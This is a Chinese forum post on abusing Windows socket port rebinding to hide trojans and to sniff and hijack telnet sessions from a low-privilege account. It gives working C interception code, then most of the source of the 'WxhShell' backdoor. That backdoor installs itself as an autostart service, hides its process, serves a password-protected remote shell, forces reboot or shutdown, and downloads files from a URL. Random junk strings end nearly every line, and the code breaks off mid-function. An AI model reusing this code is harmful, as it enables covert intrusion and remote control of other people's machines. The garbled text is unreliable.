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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f](I.lm:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?hKm&B;d  
6%>/og\%  
  saddr.sin_family = AF_INET; _~ v-:w  
w-lrnjs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^Ss<X}es-  
!@( M_Z'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 77``8,  
6!Qknk$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YQ52~M0L  
o1U}/y+R\  
  这意味着什么?意味着可以进行如下的攻击: w .tW=z5  
> 9o{(j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j?( c}!}  
 ?J<T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :H{Bb{B%  
i9KTX%s5^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ga.0Io&}C  
{h,_"g\V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [ qiOd!  
INOH{`}Ew  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N9pwWg&<+  
&1=g A.ZR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t{~@I  
Hv3W{|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (e(Rr 4  
)R~a;?T_c0  
  #include 2@fa rx:  
  #include cu<y8 :U<  
  #include O5O.><RP  
  #include    ikr7DBLt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XYts8}y5  
  int main() "i&fp:E0  
  { |IAW{_9)U  
  WORD wVersionRequested; +Jdm #n?_  
  DWORD ret; +uELTHH=  
  WSADATA wsaData; /0 _zXQyV  
  BOOL val; (oF-O{  
  SOCKADDR_IN saddr; oQ{cSThj  
  SOCKADDR_IN scaddr; o'96ON0  
  int err; G&jZ\IV  
  SOCKET s; a/34WFC  
  SOCKET sc; 5.dl>,  
  int caddsize; KhrFg1|  
  HANDLE mt; *(icR  
  DWORD tid;    b)Tl*  
  wVersionRequested = MAKEWORD( 2, 2 ); >zFD $  
  err = WSAStartup( wVersionRequested, &wsaData ); B_cgWJ*4  
  if ( err != 0 ) { :Z[(A"dA  
  printf("error!WSAStartup failed!\n"); ~U9q-/(J/  
  return -1; kB V/rw  
  } >{b3>s~T  
  saddr.sin_family = AF_INET; };^}2Xo+  
   ]'tJ S]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4b=Gg  
^Wm*-4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N2T&,&, t  
  saddr.sin_port = htons(23); YIO.yN"0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '^DUq?E4  
  { '=p?  
  printf("error!socket failed!\n"); BR3wX4i\  
  return -1; -n-Z/5~ X  
  } " <Qm -  
  val = TRUE; s@PLS5d"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C;ptir1G;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JDKLKHOMZ  
  { Ts#pUoE~+H  
  printf("error!setsockopt failed!\n"); Wa<-AZnh  
  return -1; 9ZhDZ~)p,  
  } gX_SKy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QAi1,+y]7w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u3ST;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L@?e:*h  
12-EDg/1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }Bi@?Sb  
  { fq=:h\\G  
  ret=GetLastError(); \qB6TiB/  
  printf("error!bind failed!\n"); ~@@ Z|w  
  return -1; W6i3Psjsw  
  } 2 ZK%)vq0  
  listen(s,2); m2Q$+p@  
  while(1) i\  "{#  
  { :Pf>Z? /d  
  caddsize = sizeof(scaddr); WI{; #A  
  //接受连接请求 [Teh*CV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >e/ r2U  
  if(sc!=INVALID_SOCKET) z>p]/Sa  
  { ++0rF\&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )T/J  
  if(mt==NULL) Zt_r9xs>  
  { &}E:jt}  
  printf("Thread Creat Failed!\n"); 2qjyFTT  
  break; "|hlDe<  
  } 8+ hhdy*b  
  } ` .$&T7  
  CloseHandle(mt); 14-]esSa  
  } dWUUxKC  
  closesocket(s); TA|s@T{  
  WSACleanup(); ?9Ma^C;}  
  return 0;  E>"8 /  
  }   ($'V& x8T  
  DWORD WINAPI ClientThread(LPVOID lpParam) .lr5!Stb  
  { ~?d>fR:X  
  SOCKET ss = (SOCKET)lpParam; ;Yv14{T!  
  SOCKET sc; hJLT!33:  
  unsigned char buf[4096]; Qh8C,"a  
  SOCKADDR_IN saddr; UBIIo'u  
  long num; 1fRP1  
  DWORD val; )(]Envb?A0  
  DWORD ret; `,P >mp)uU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N8QH*FX/F1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TaWaHf  
  saddr.sin_family = AF_INET; d#8e~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .:N:pWe  
  saddr.sin_port = htons(23); FB_NkXR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dXK-&Po'  
  { /?U!y?t&@  
  printf("error!socket failed!\n"); qlvwK&W<QM  
  return -1; TL@mM  
  } ^e%k~B^  
  val = 100; =J xFp, Xr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O"iak  
  { >jKjh!`)!e  
  ret = GetLastError(); 1mix+.d  
  return -1; XL~>rw<  
  } |T y=7d,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G1[(F`t>  
  { p#=;)1  
  ret = GetLastError(); EZ{\D!_Y  
  return -1; +q-c 8z  
  } ]!faA\1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LQ>$ >A(  
  { `S$sQ&  
  printf("error!socket connect failed!\n"); t\%%d)d9  
  closesocket(sc); [T]Bfo  
  closesocket(ss); GFt1  
  return -1; yquAr$L!  
  } ]x_F{&6U8  
  while(1) shzG Eb  
  { uJ 8x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #j.FJFGX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #R<G,"N5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b5S7{"<V  
  num = recv(ss,buf,4096,0); mLaCkn  
  if(num>0)  P63 (^R  
  send(sc,buf,num,0); %qi%$  
  else if(num==0) cm,4&x6  
  break; &mdB\Y?^  
  num = recv(sc,buf,4096,0); s~Gw  
  if(num>0) URQ@=W7  
  send(ss,buf,num,0); Z'ao[CG  
  else if(num==0) 7_%2xewV|  
  break; LD_M 3 P  
  } /ao<A\KR  
  closesocket(ss); 7 Kjj?~RA  
  closesocket(sc); 9 rS, ?  
  return 0 ; z<h|#@\  
  } /GN4I!LA  
+o u Y  
~#4~_d.=L  
========================================================== {G%3*=?,j  
hIo0S8MOj$  
下边附上一个代码,,WXhSHELL }Aw47;5q;  
&=NJ  
========================================================== [S)G$JW  
@ t|3gF$X  
#include "stdafx.h" BfVBywty  
O]bKNA.5  
#include <stdio.h> f:XfAH3R{  
#include <string.h> 5zVQ;;9  
#include <windows.h> fp tIc#4  
#include <winsock2.h> @() {/cF  
#include <winsvc.h> KC]tY9 FK  
#include <urlmon.h> H0+:XF\M  
2qXo{C3  
#pragma comment (lib, "Ws2_32.lib") Ck@M<(x  
#pragma comment (lib, "urlmon.lib") ^9=4iXd  
XR+rT  
#define MAX_USER   100 // 最大客户端连接数 gCL{Cw  
#define BUF_SOCK   200 // sock buffer ` yYvYc  
#define KEY_BUFF   255 // 输入 buffer :cdQ(O.m  
~b#OFnyG  
#define REBOOT     0   // 重启 PT05DH  
#define SHUTDOWN   1   // 关机 ftaBilkjp  
P=Puaz5&{  
#define DEF_PORT   5000 // 监听端口 4i`S+`#  
>j:|3atb  
#define REG_LEN     16   // 注册表键长度 cd+^=esSO  
#define SVC_LEN     80   // NT服务名长度 DyIV/  
-!~vA+jw1  
// 从dll定义API kF?S 2(vH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3>M.]w6{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }7Jp :.qk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5;(0 $4I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W }Zb~[,  
p {?}g'  
// wxhshell配置信息 (V)9s\Le_  
struct WSCFG { 7IQqN&J  
  int ws_port;         // 监听端口 # \<P]<C  
  char ws_passstr[REG_LEN]; // 口令 u uSHCp  
  int ws_autoins;       // 安装标记, 1=yes 0=no PF6 7z]<o  
  char ws_regname[REG_LEN]; // 注册表键名 v4C3uNW  
  char ws_svcname[REG_LEN]; // 服务名 ee^4KKsh\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jr:drzr{I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |eF.ZC)QWh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,H@TYw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b*`fLrqV.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K.%z;( U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Gx*'B=  
?uig04@3  
}; yi|:}K$  
s&0*'^'O[S  
// default Wxhshell configuration j3LNnZY  
struct WSCFG wscfg={DEF_PORT, 0R*}QXph  
    "xuhuanlingzhe", NN11}E6  
    1, :v#8O~  
    "Wxhshell", ey*,StT5a  
    "Wxhshell", 77tZp @>hn  
            "WxhShell Service", ]`K[W&  
    "Wrsky Windows CmdShell Service", <ZV7|'^  
    "Please Input Your Password: ", WSS(Bm|B  
  1, sSV^5  
  "http://www.wrsky.com/wxhshell.exe", 4rm87/u*0  
  "Wxhshell.exe" F=: c5z  
    }; $82zyq  
>j- b5g"g  
// 消息定义模块 s<,"Hsh^CR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QU,?}w'?d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %uW<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R@&?i=gk  
char *msg_ws_ext="\n\rExit."; Rd0?zEKV  
char *msg_ws_end="\n\rQuit."; 3}yraX6r!  
char *msg_ws_boot="\n\rReboot..."; h~ZNHSP:  
char *msg_ws_poff="\n\rShutdown..."; L PMb0F}"5  
char *msg_ws_down="\n\rSave to "; GV=V^Fl .  
bje' Oolc  
char *msg_ws_err="\n\rErr!"; %![4d;Z%x  
char *msg_ws_ok="\n\rOK!"; \wTW?>o Z  
4 #G3ew  
char ExeFile[MAX_PATH]; [XxA.S)x3  
int nUser = 0; 9 #:ue@)  
HANDLE handles[MAX_USER]; dbd"pR8v  
int OsIsNt; Wz5d| b  
F\:{}782u  
SERVICE_STATUS       serviceStatus; vRxL&8`&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a9L0f BRy  
^,>}%1\  
// 函数声明 (KZUvsSk  
int Install(void); +Z]y #=  
int Uninstall(void); uQ-WTz|*  
int DownloadFile(char *sURL, SOCKET wsh); ,~iFEaV+  
int Boot(int flag); g*^wF?t'T  
void HideProc(void); D8W(CE^}  
int GetOsVer(void); '&+Z,  
int Wxhshell(SOCKET wsl); u"eZa!#  
void TalkWithClient(void *cs); $*g{[&L|6  
int CmdShell(SOCKET sock); m[{nm95QZ  
int StartFromService(void); %N!h38N2  
int StartWxhshell(LPSTR lpCmdLine); 3EAX]  
%sYk0~E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dfnX!C~6\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]D?oQ$q7  
e_\SSH @tw  
// 数据结构和表定义 N%: D8\qx  
SERVICE_TABLE_ENTRY DispatchTable[] = :LG}yq^  
{ Gl=@>Dc%  
{wscfg.ws_svcname, NTServiceMain}, MV7}  
{NULL, NULL} S".owe$\  
}; 8}]l9"q(  
3huzz<n3  
// 自我安装 UqY J#&MqY  
int Install(void) ]rKH|i  
{ CdE2w?1  
  char svExeFile[MAX_PATH]; m21QN9(i%  
  HKEY key; u)wu=z8  
  strcpy(svExeFile,ExeFile); k:@a[qnY  
1i ?gvzrq  
// 如果是win9x系统,修改注册表设为自启动 i_'|:Uy*F  
if(!OsIsNt) { N.kuE=X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "bL P3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uHTKo(NG  
  RegCloseKey(key); `Nc`xO?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9*"[pt+tA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); + ?[ ACZF  
  RegCloseKey(key); hrUm} @d  
  return 0; \3,$YlG  
    } 3XMBu*  
  } \;4L~_2$q  
} -<u- +CbuT  
else { Z1 E` I89<  
Q3'(f9 x  
// 如果是NT以上系统,安装为系统服务 KBp!zSl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z:W')Nd(  
if (schSCManager!=0) WlF+unB!9  
{ )cf p(16  
  SC_HANDLE schService = CreateService |E>v~qD8I  
  ( e-YGuWGN7  
  schSCManager, |s)VjS4@  
  wscfg.ws_svcname, R;5QD`  
  wscfg.ws_svcdisp, ? Yynd  
  SERVICE_ALL_ACCESS, /r #b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U0lqGEZ  
  SERVICE_AUTO_START, ]0at2  
  SERVICE_ERROR_NORMAL, s:qxAUi\/  
  svExeFile, $fq-wl-=  
  NULL, n3-GnVC][  
  NULL, 4+Li)A:4.  
  NULL, p7?CeyZ-V  
  NULL, T +|J19  
  NULL >"2\D|-/  
  ); S}XB |  
  if (schService!=0) 1t} (+NNjH  
  { o+PQ;Dl  
  CloseServiceHandle(schService); BZnp #}f  
  CloseServiceHandle(schSCManager); N> uZt2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b7F3]W<`&  
  strcat(svExeFile,wscfg.ws_svcname); z/Mhu{ttL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9P,A t8V(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oRtY?6^$  
  RegCloseKey(key); bqf]$}/8k  
  return 0; %tklup]LF8  
    } dK-  ^  
  } t6! p\Y}}  
  CloseServiceHandle(schSCManager); R(n0!h4  
} ;@=@N9q K  
} |1\dCE03}  
+ 3~Gc<OO  
return 1; giA~+m~fN  
} Z`0r]V`Ys  
3\+[38 _  
// 自我卸载 x _YV{  
int Uninstall(void) 9/8@  
{ [5}cU{M  
  HKEY key; wd2P/y42;;  
W}<M?b4tP  
if(!OsIsNt) { "OlI-^y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ys~p(  
  RegDeleteValue(key,wscfg.ws_regname); NUxAv= xl  
  RegCloseKey(key); .wt>.mUH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XQ+-+CD  
  RegDeleteValue(key,wscfg.ws_regname); 9>} (]T  
  RegCloseKey(key); !Ed<xG/  
  return 0; P"h,[{Y*>  
  } 3>:zo:;  
} 'w |s*5  
} sbq44L)  
else { wKeSPs{x  
S|=rF<]my  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f(9$"Vi  
if (schSCManager!=0) gzJ{Gau{)  
{ 0N} wD-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ho SU`X  
  if (schService!=0) 4,R\3`b  
  { !@]h@MC$7  
  if(DeleteService(schService)!=0) { \e5,`  
  CloseServiceHandle(schService); I _Mqh4];  
  CloseServiceHandle(schSCManager); TnZc.  
  return 0; ^0 ,&R\e+  
  } 2kmna/Qa6  
  CloseServiceHandle(schService); 7p"~:1hU  
  } >x_:=%Wr+  
  CloseServiceHandle(schSCManager); DlQ[}5STF  
} tr67ofld|  
} /n<Ncf  
{H7$uiq3:B  
return 1; 4)>\rqF+v  
} %]= 'Uv^x  
ah&plaVzC  
// 从指定url下载文件 R~seUW7uv"  
int DownloadFile(char *sURL, SOCKET wsh) ~]t2?SqNm  
{ s"^YW+HMb  
  HRESULT hr; qT-nD}  
char seps[]= "/"; yrv SbqR  
char *token; A5>gLhl7  
char *file; uvK%d\d  
char myURL[MAX_PATH]; ]P ?#lO6  
char myFILE[MAX_PATH]; {u[K ^G  
]6c2[r?g{  
strcpy(myURL,sURL); %onAlf<$:^  
  token=strtok(myURL,seps); uhN(`E@  
  while(token!=NULL) l.W1$g  
  { x.4)p6  
    file=token; ` a<|CcUGU  
  token=strtok(NULL,seps); @0@'6J04  
  } "=5vgg3  
<xh'@592  
GetCurrentDirectory(MAX_PATH,myFILE); =ym~= S  
strcat(myFILE, "\\"); .qU%SmQ^  
strcat(myFILE, file); Pt)}HF|u  
  send(wsh,myFILE,strlen(myFILE),0); A"T. nqB^y  
send(wsh,"...",3,0); #}]il0d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3E2.v5*  
  if(hr==S_OK) fB ,!|u  
return 0; Tk@g9\6O9  
else {CyPcD'$s  
return 1; C?<XtIoB  
}JTgj  
} .^+$w $  
r3bvuq,6$  
// 系统电源模块 A,CPR0g%  
int Boot(int flag) 0{Ll4  
{ pUEok+  
  HANDLE hToken; W&re;?Z{ke  
  TOKEN_PRIVILEGES tkp; Q9'p3"yoE  
$4~}_phi  
  if(OsIsNt) { M&\?)yG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8J(zWV7 r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l$ _+WC*wp  
    tkp.PrivilegeCount = 1; l?<z1Acd&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{M,2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n[w,x;  
if(flag==REBOOT) { ZCF-*nm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l$~bkVNL  
  return 0; 7 |eSvC  
} +Q#Qu0_   
else { _w,0wn9N$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ak-7}i  
  return 0; > mDubP  
} s/&]gj "  
  } &^D@(m7>{K  
  else { ~E|V{z%  
if(flag==REBOOT) { G78j$ ^/0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %_=R&m'n`  
  return 0; U=#ylQ   
} Z1lF[d,f;  
else { U\GZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V4i%|vV  
  return 0; N S}`(N  
} Ewsg&CCN  
} E&tmWOMj>  
DWxh{h">  
return 1; } K-[/;  
} imq(3?  
=]mx"0i[  
// win9x进程隐藏模块 =sVt8FWGY  
void HideProc(void) Ck a]F2,  
{ c89vx 9  
L;t~rW!1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [cAg'R6  
  if ( hKernel != NULL ) ?Pw \&q  
  { +\$|L+@Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,ST.pu8N.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M@@O50~  
    FreeLibrary(hKernel); U jzz`!mz  
  } g*imswj7  
R2ZQBwB  
return; x#VUEu]8  
} :%oj'm44!  
"fJ|DE&@<i  
// 获取操作系统版本 9+Hb`  
int GetOsVer(void) ~*]`XL.-  
{ tBUQf*B  
  OSVERSIONINFO winfo; t"vO&+x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z6@J-<u  
  GetVersionEx(&winfo); X[Gk!d r#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QNwAuH T  
  return 1; r:rJv  
  else fzG1<Gem  
  return 0; ]H7Mx\  
} /\I%)B47^9  
l#.,wOO{  
// 客户端句柄模块 RteTz_ z{  
int Wxhshell(SOCKET wsl) |Cq J2  
{ eH*b -H[  
  SOCKET wsh; s hvcc  
  struct sockaddr_in client; * %BI*p  
  DWORD myID; ,w>?N\w!}  
JLn<,Gn)<\  
  while(nUser<MAX_USER) %"fKZ  
{ *9 wHH-#  
  int nSize=sizeof(client); U  {!{5l:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^}\R]})w"  
  if(wsh==INVALID_SOCKET) return 1; ]arskmB]  
s4k%ty}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fG5}'8  
if(handles[nUser]==0) o^6j(~  
  closesocket(wsh); X6 :~Rjim*  
else #;]F:TlR  
  nUser++; 0 d]G  
  } ^ w1R"qE"m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2` qXD fD`  
0Ch._~Q+20  
  return 0; n9-[z2n  
} `:O.g9  
0lN8#k>H  
// 关闭 socket :[0 3upyS  
void CloseIt(SOCKET wsh) | :[vpJFK  
{ P?7b,a95O  
closesocket(wsh); >AFpO*q"  
nUser--; f`rz)C03  
ExitThread(0); U# B  
} R/|{?:r?:x  
AE _~DZ:%c  
// 客户端请求句柄 dig76D_[e  
void TalkWithClient(void *cs)  p ivS8C  
{  2oASz|  
@'4D9A  
  SOCKET wsh=(SOCKET)cs; RtL'fd  
  char pwd[SVC_LEN]; _3[BS9  
  char cmd[KEY_BUFF]; 6s2g+[  
char chr[1]; Ma#-'J  
int i,j; m/Z_HER^  
hh}EDnx  
  while (nUser < MAX_USER) { NZP,hAUK,  
B[V=l<J  
if(wscfg.ws_passstr) { _,~zy9{,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u;}B4Rx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S}O\<6&  
  //ZeroMemory(pwd,KEY_BUFF); u)pBFs<dn  
      i=0; czRh.kz,  
  while(i<SVC_LEN) { AFED YRX  
RfRaWbn  
  // 设置超时 &N;6G`3  
  fd_set FdRead; k0?6.[ku  
  struct timeval TimeOut; _"V0vV   
  FD_ZERO(&FdRead); lsi8?91  
  FD_SET(wsh,&FdRead); &0`7_g7G  
  TimeOut.tv_sec=8; &r%3)Z8Et  
  TimeOut.tv_usec=0; UC@"<$'C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pC8i &_A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hBu =40K  
;v\n[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N/VIP0Kb  
  pwd=chr[0]; zY-m]7Yf  
  if(chr[0]==0xd || chr[0]==0xa) { sA.yb,Fw  
  pwd=0; RoZV6U~  
  break; 8{u 01\0}  
  } M czWg  
  i++; k#n=mm'N9  
    } m Y0C7i  
XQ8Imkc  
  // 如果是非法用户,关闭 socket 1 Y& d%AA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R&0l4g-4>  
} Y~xZ{am  
2Oa-c|F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 -}gqkR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *93 N0m4Rl  
i\G3 u#  
while(1) { _T$\$v$ {  
T-TH. R  
  ZeroMemory(cmd,KEY_BUFF); -C+vmY*@  
Jhc S  
      // 自动支持客户端 telnet标准   GZo4uwG@a  
  j=0; <~OyV5:6  
  while(j<KEY_BUFF) { ND>}t#^$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gP@ni$n  
  cmd[j]=chr[0]; +|;IIwo  
  if(chr[0]==0xa || chr[0]==0xd) { 4KnDXQ%  
  cmd[j]=0; ,+&j/0U  
  break; rpmDr7G  
  } DV l: s  
  j++; x3 S  
    } 8h97~$7)  
*&D=]fG  
  // 下载文件 -E7\ .K3  
  if(strstr(cmd,"http://")) { 25L{bcng  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lLhCk>a  
  if(DownloadFile(cmd,wsh)) %Y TIS*+0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wah`  
  else "6i9f$N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4SYN$?.Mp  
  } iJBZnU:Mp  
  else { O]>`B{  
C0RwW??t  
    switch(cmd[0]) { %}[??R0  
  V|)>  
  // 帮助 XvdhPOMy  
  case '?': { 7-DC"`Y8e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c z|IBsa*  
    break; jY kx]J%S  
  } rxARJ so  
  // 安装 2wd(0K}b  
  case 'i': { $c-3Q|C  
    if(Install()) i  *<,@*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fVM%.`  
    else ?HY0@XILI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQ[lXV[}v  
    break; *u }):8=&R  
    } }W<L;yD  
  // 卸载 mI# BQE`p6  
  case 'r': { EB#z\  
    if(Uninstall()) yl}Hr*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@FB^[H:y  
    else Ogb_WO;)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9O"?T7i"#  
    break; A SSoKrFL  
    } C N"c  
  // 显示 wxhshell 所在路径 G\Me%{b#  
  case 'p': { S%@$J~\rx  
    char svExeFile[MAX_PATH]; IQDWH/ c  
    strcpy(svExeFile,"\n\r"); |Xag:hof  
      strcat(svExeFile,ExeFile); Ut+mm\7  
        send(wsh,svExeFile,strlen(svExeFile),0); bA)Xjq)Rr  
    break; ^?2txLv,6  
    } { at; U@o  
  // 重启 /y0 )r.R  
  case 'b': { fp7Qb $-A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 f=L8Dr  
    if(Boot(REBOOT)) }=U\v'%m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <da! #12L  
    else { =T$E lXwJ  
    closesocket(wsh); -cKR15  
    ExitThread(0); vzw\f   
    } K  +~  
    break; ;VuIQ*@m"  
    } W.a/k7 p  
  // 关机 L6a8%%`  
  case 'd': { Q%7EC>V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4M _83WL  
